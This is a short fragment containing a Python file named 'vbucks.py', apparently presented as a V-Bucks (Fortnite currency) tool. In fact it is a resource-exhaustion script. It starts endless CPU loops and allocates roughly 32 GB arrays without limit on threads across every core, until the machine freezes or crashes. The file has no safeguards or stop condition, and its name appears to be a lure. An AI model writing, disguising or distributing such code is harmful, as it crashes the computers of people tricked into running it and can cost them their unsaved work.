designed to maximize the usage of CPU and memory resources.

vbucks.py

import threading
import numpy as np
import multiprocessing
import os

def cpu_stress():
    while True:
        _ = sum(i * i * i * i * i * i * i * i for i in range(10**12))

def memory_stress():
    allocated_memory = []
    while True:
        allocated_memory.append(np.ones((65536, 65536), dtype=np.float64))

def stress_test():
    cpu_cores = multiprocessing.cpu_count()
    memory_threads = cpu_cores // 2
    cpu_threads = cpu_cores - memory_threads

    threads = []

    for _ in range(cpu_threads):
        thread_cpu = threading.Thread(target=cpu_stress)
        threads.append(thread_cpu)
        thread_cpu.start()

    for _ in range(memory_threads):
        thread_memory = threading.Thread(target=memory_stress)
        threads.append(thread_memory)
        thread_memory.start()

    for thread in threads:
        thread.join()

if __name__ == "__main__":
    stress_test()